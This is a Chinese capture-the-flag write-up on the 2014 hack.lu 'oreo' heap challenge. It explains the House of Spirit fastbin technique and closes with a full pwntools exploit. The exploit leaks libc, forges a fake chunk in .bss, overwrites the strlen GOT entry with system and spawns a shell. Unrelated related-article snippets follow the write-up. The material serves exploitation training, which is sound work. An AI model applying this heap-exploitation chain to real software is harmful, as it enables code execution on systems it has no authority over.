【PWN · heap | House Of Spirit】2014_hack.lu_oreo

呜呜呜,时隔多个月,继续学pwn

目录

前言

零、House Of Spirit介绍

一、题目分析

二、调试过程

1.泄露libc

2.大量add设置fake chunk的size合法

3.message 构造fake chunk的next chunk合法,绕过检测

4.order释放,将fake chunk放到fast bin中,等待add返回

5.修改notice指针,指向got表

6.通过message,修改notice指向的区域(got表,这里是strlen的got表)

三、exp 


前言

将chunk劫持到指定位置,能够大有作为,而House Of Spirit的目的就是这一点。最初了解仅是了解,通过本题,对于利用手法的利用,感悟更为深入。


零、House Of Spirit介绍

House of Spirit 是 the Malloc Maleficarum 中的一种技术。

该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

  • 1、fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理 IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的,这个标志位位于size低二比特位
  • 2、fake chunk 地址需要对齐, MALLOC_ALIGN_MASK 因为fake_chunk可以在任意可写位置构造,这里对齐指的是地址上的对齐而不仅仅是内存对齐,比如32位程序的话fake_chunk的prev_size所在地址就应该位0xXXXX0或0xXXXX4。64位的话地址就应该在0xXXXX0或0xXXXX8
  • 3、fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐 fake_chunk如果想挂进fastbin的话构造的大小就不能大于0x80,关于对齐和上面一样,并且在确定prev_size的位置后size所在位置要满足堆块结构的摆放位置
  • 4、fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem fake_chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。最大不能超过av->system_mem,即128kb。next_chunk的大小一般我们会设置成为一个超过fastbin最大的范围的一个数,但要小雨128kb,这样做的目的是在chunk连续释放的时候,能够保证伪造的chunk在释放后能够挂在fastbin中main_arena的前面,这样以来我们再一次申请伪造chunk大小的块时可以直接重启伪造chunk
  • 5、fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况 这个检查就是fake_chunk前一个释放块不能是fake_chunk本身,如果是的话_int_free函数就会检查出来并且中断

想要使用该技术分配 chunk 到指定地址,其实并不需要修改指定地址的任何内容,关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测

一、题目分析

首先查看保护信息

我们可以往劫持got表的方向考虑

(图片来自好好说话系列博客)

一方面,这种长度可以控制物理临近chunk的控制字段;然而不可忽视的是,如果结构中有关键指针,通过溢出覆盖指针位为指定值,则很有可能得到任意地址读写执行等效果。

实际上,next就是一个指针,起到的效果是,将一块块申请到的rifle结构体,以链接的形式存储。next指向下一块结构体。

该怎么利用呢?不妨先看看其他功能。

free会将链接起来的结构体全部free,直到遇到next=NULL

结合main函数中对notice的赋值

因此,不难发现,最初的notice指针,是往临近自己的一块全局变量数组区域中,写信息。

再看看其他函数功能

试想我们能够伪造结构体指针,那么就可以把结构体指针指向区域偏移0x0和偏移0x19的地方连续读取信息。

show_state函数似乎没什么用,但是其中涉及到的变量——rifle_cnt以及order_num分别在add和order时自增1。或者说,这两个值的大小,我们愿意的话,是可以被我们控制的!

不容忽视的是,这两个全局变量,在内存布局上和其他全局变量的位置关系!

对整个程序有了基本了解之后,我们考虑如何劫持got表。

  1. libc如何泄露?(获得system、binsh)
  2. 如何修改?

泄露需要读权限——伪造结构体指针?!

修改——①message指针具有写权限 ②结构体指针在创建时具有写权限

综上,可以利用House Of Spirit手法,实现上述目标。

大致流程如下

  1. 泄露libc:利用创建结构体时的堆溢出漏洞,覆盖next指针为got表地址,这样在show_rifle时,会将最后一个next指针指向的区域,也即got表内容泄露出来
  2. 修改got表:
    1. 由于order_num、rifle_cnt、notice、unk_804a2c0这四个全局变量的位置关系,以及本身特性,可以构造fake chunk
    2. 首先将rifle_cnt的值通过反复add,控制到指定大小(0x41)作为fake chunk的size域。
    3. 再add一个结构体,并通过溢出修改next指针为fake chunk区域,具体位置详见d
    4. 为了链条free时,free fake chunk 有效,还需要将fake chunk的next chunk的size域控制到合理大小,而message具有写权限,且由于相对距离关系,可以通过message来构造
      1. 注意:fake chunk的next域需要设为NULL!当时卡了好久
      2. fake chunk的next域需要大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
    5. 通过order free掉所有结构体,注意,最后一个被free的结构体是构造的fake chunk!
    6. 通过add,可以获取fake chunk,注意,此时fake chunk是在bss段上,且创建时具有的写权限,可以修改notice值!——这就好比notice所在的指针具有写权限,而notice是手,我们可以控制手的位置,实现任意地址写的权限!——通过add时复写notice值为got表地址
    7. 然后再次通过message,实现修改got表的目的。

至此,可通过键入b’/bin/sh\x00’来getshell!

二、调试过程

细致地了解,每一步发生什么,最终getshell,对于整体的理解,是非常重要的。

这是一个很美妙的过程,

1.泄露libc

2.大量add设置fake chunk的size合法

3.message 构造fake chunk的next chunk合法,绕过检测

4.order释放,将fake chunk放到fast bin中,等待add返回

5.修改notice指针,指向got表

6.通过message,修改notice指向的区域(got表,这里是strlen的got表)

这是因为,修改为 p32(system)+b';/bin/sh\x00'

已经通过构造的system(’/bin/sh\x00’),getshell

三、exp

from pwn import *
from LibcSearcher import *
context(arch='i386',log_level='debug')io=process('./pwn')
elf=ELF('./pwn')
def add(name,description):# io.recvuntil(b'Action:')io.sendline(b'1')io.sendline(name)io.sendline(description)
def show_rifles():# io.recvuntil(b'Action:')io.sendline(b'2')
def free_order():# io.recvuntil(b'Action:')io.sendline(b'3')
def message(msg):io.sendline(b'4')io.sendline(msg)
gdb.attach(io);input('[+]gdb attached!')#########泄露libc
puts_got=elf.got['puts']
add(b'a'*27+p32(puts_got),b'leak libc')
show_rifles()
puts_real=u32(io.recvuntil(b'\xf7')[-4:])
success('puts:'+hex(puts_real))
libc=LibcSearcher('puts',puts_real)
libc_base=puts_real-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
success('system:'+hex(system))
success('binsh:'+hex(binsh))
input('[!]check!')#########控制size字段
head=0x804A288 
rifle_cnt=0x804A2A4 
for i in range(0x40-1):# add(b'a'*27+p32(0),b'b')add(b'a',b'padding')
add(b'a'*27+p32(rifle_cnt+4),b'b')
input('[!]check!')#########控制next chunk字段,合法绕过检测
payload=b'a'*(0x38-(0x804A2C0-0x804A2A8)-0x4)+p32(0)+p32(0)+p32(0x41)
message(payload)
input('[!]check!')#########将fake chunk放到fastbin中
free_order()
input('[!]check!')#########修改notice指针,指向strlen_got
add(b'a',p32(elf.got['strlen']))
input('[!]check!')#########劫持got表为system,并输入/bin/sh\x00参数
message(p32(system)+b';/bin/sh\x00')
input('[!]check!!')#########getshell!!!
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/454150.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何在PS5上使用金手指修改游戏

环境:windows PS5 问题:PS5 没有GodHen,无法使用json金手指,PKG金手指比较少 解决办法:使用MultiTrainerv从网络注入PS5,修改进程内存 背景:为了护肝,拒绝刷刷刷 解决过程&#xff…

Ubuntu使用Docker部署Nginx并结合内网穿透实现公网远程访问

文章目录 1. 安装Docker2. 使用Docker拉取Nginx镜像3. 创建并启动Nginx容器4. 本地连接测试5. 公网远程访问本地Nginx5.1 内网穿透工具安装5.2 创建远程连接公网地址5.3 使用固定公网地址远程访问 在开发人员的工作中,公网远程访问内网是其必备的技术需求之一。对于…

面试经典150题——判断子序列

​"Success is not final, failure is not fatal: It is the courage to continue that counts." - Winston Churchill 1. 题目描述 2. 题目分析与解析 2.1 思路一——双指针 按照双指针的解法应该大家都能比较快的想出来,就是一个指针pointS指向字符…

【漏洞复现】SpringBlade export-user接口存在SQL注入漏洞

漏洞描述 SpringBlade 是一个由商业级项目升级优化而来的微服务架构 采用Spring Boot 2.7 、Spring Cloud 2021 等核心技术构建,完全遵循阿里巴巴编码规范。提供基于React和Vue的两个前端框架用于快速搭建企业级的SaaS多租户微服务平台。SpringBlade export-user接口存在SQL注…

springboot+vue实现excel导出

后端 导入pom依赖 <dependency>x<groupId>cn.afterturn</groupId><artifactId>easypoi-spring-boot-starter</artifactId><version>4.2.0</version> </dependency> Entity实体类 这里以User为例&#xff0c;可按照自己实际…

LabVIEW智能温度直流模件自动测试系统

LabVIEW智能温度直流模件自动测试系统 自动化测试系统在提高测试效率和准确性方面发挥着越来越重要的作用。介绍了一种基于LabVIEW的智能温度直流模件&#xff08;TDCA&#xff09;自动测试系统的设计与实施&#xff0c;旨在提高测控装置的产品质量。 系统的硬件平台主要由PS…

AQS简介、AQS实现原理、线程夺取锁失败 AQS队列的变化、线程被唤醒时 AQS队列的变化

AQS AQS简介AQS实现原理场景01-线程抢夺锁失败时&#xff0c;AQS队列的变化场景02-线程被唤醒时&#xff0c;AQS队列的变化 AQS简介 AQS(全称AbstractQueuedSynchronizer)即队列同步器。它是构建锁或者其他同步组件的基础框 架(如ReentrantLock、ReentrantReadWriteLock、Sema…

Dell服务器iDRAC9忘记密码, 通过RACADM工具不重启 重置密码

系列文章目录 文章目录 系列文章目录前言一、RACADM工具二、linux环境1.解压安装RACADM工具测试RACADM工具重置iDRAC密码 Windows环境 前言 一、RACADM工具 RACADM工具 官网参考信息 https://www.dell.com/support/kbdoc/zh-cn/000126703/%E5%A6%82%E4%BD%95-%E9%87%8D%E7%BD…

web前端-------弹性盒子(2)

上一讲我们谈的是盒子的容器实行&#xff0c;今天我们来聊一聊弹性盒子的项目属性&#xff1b; *******************&#xff08;1&#xff09;顺序属性 order属性&#xff0c;用于定义容器中项目的出现顺序。 顺序属性值&#xff0c;为整数&#xff0c;可以为负数&#xff…

k8s-常用工作负载控制器(更高级管理Pod)

一、工作负载控制器是什么&#xff1f; 二、Deploymennt控制器&#xff1a;介绍与部署应用 部署 三、Deployment控制器&#xff1a;滚动升级、零停机 方式一&#xff1a; 通个加入健康检查可以&#xff0c;看到&#xff0c;nginx容器逐个被替代&#xff0c;最终每个都升级完成&…

算法学习——华为机考题库10(HJ64 - HJ69)

算法学习——华为机考题库10&#xff08;HJ64 - HJ69&#xff09; HJ64 MP3光标位置 描述 MP3 Player因为屏幕较小&#xff0c;显示歌曲列表的时候每屏只能显示几首歌曲&#xff0c;用户要通过上下键才能浏览所有的歌曲。为了简化处理&#xff0c;假设每屏只能显示4首歌曲&a…

幻兽帕鲁客户端存档文件 - 云上备份和恢复教程

本文将详细介绍如何将幻兽帕鲁游戏客户端的存档文件备份至云端&#xff0c;以及如何从云端恢复存档数据至本地。 一、游戏存档备份场景 幻兽帕鲁的游戏进度存储在电脑本地磁盘上&#xff0c;游戏中创建的每个世界都对应一个本地存档文件夹。在玩游戏过程中&#xff0c;客户端…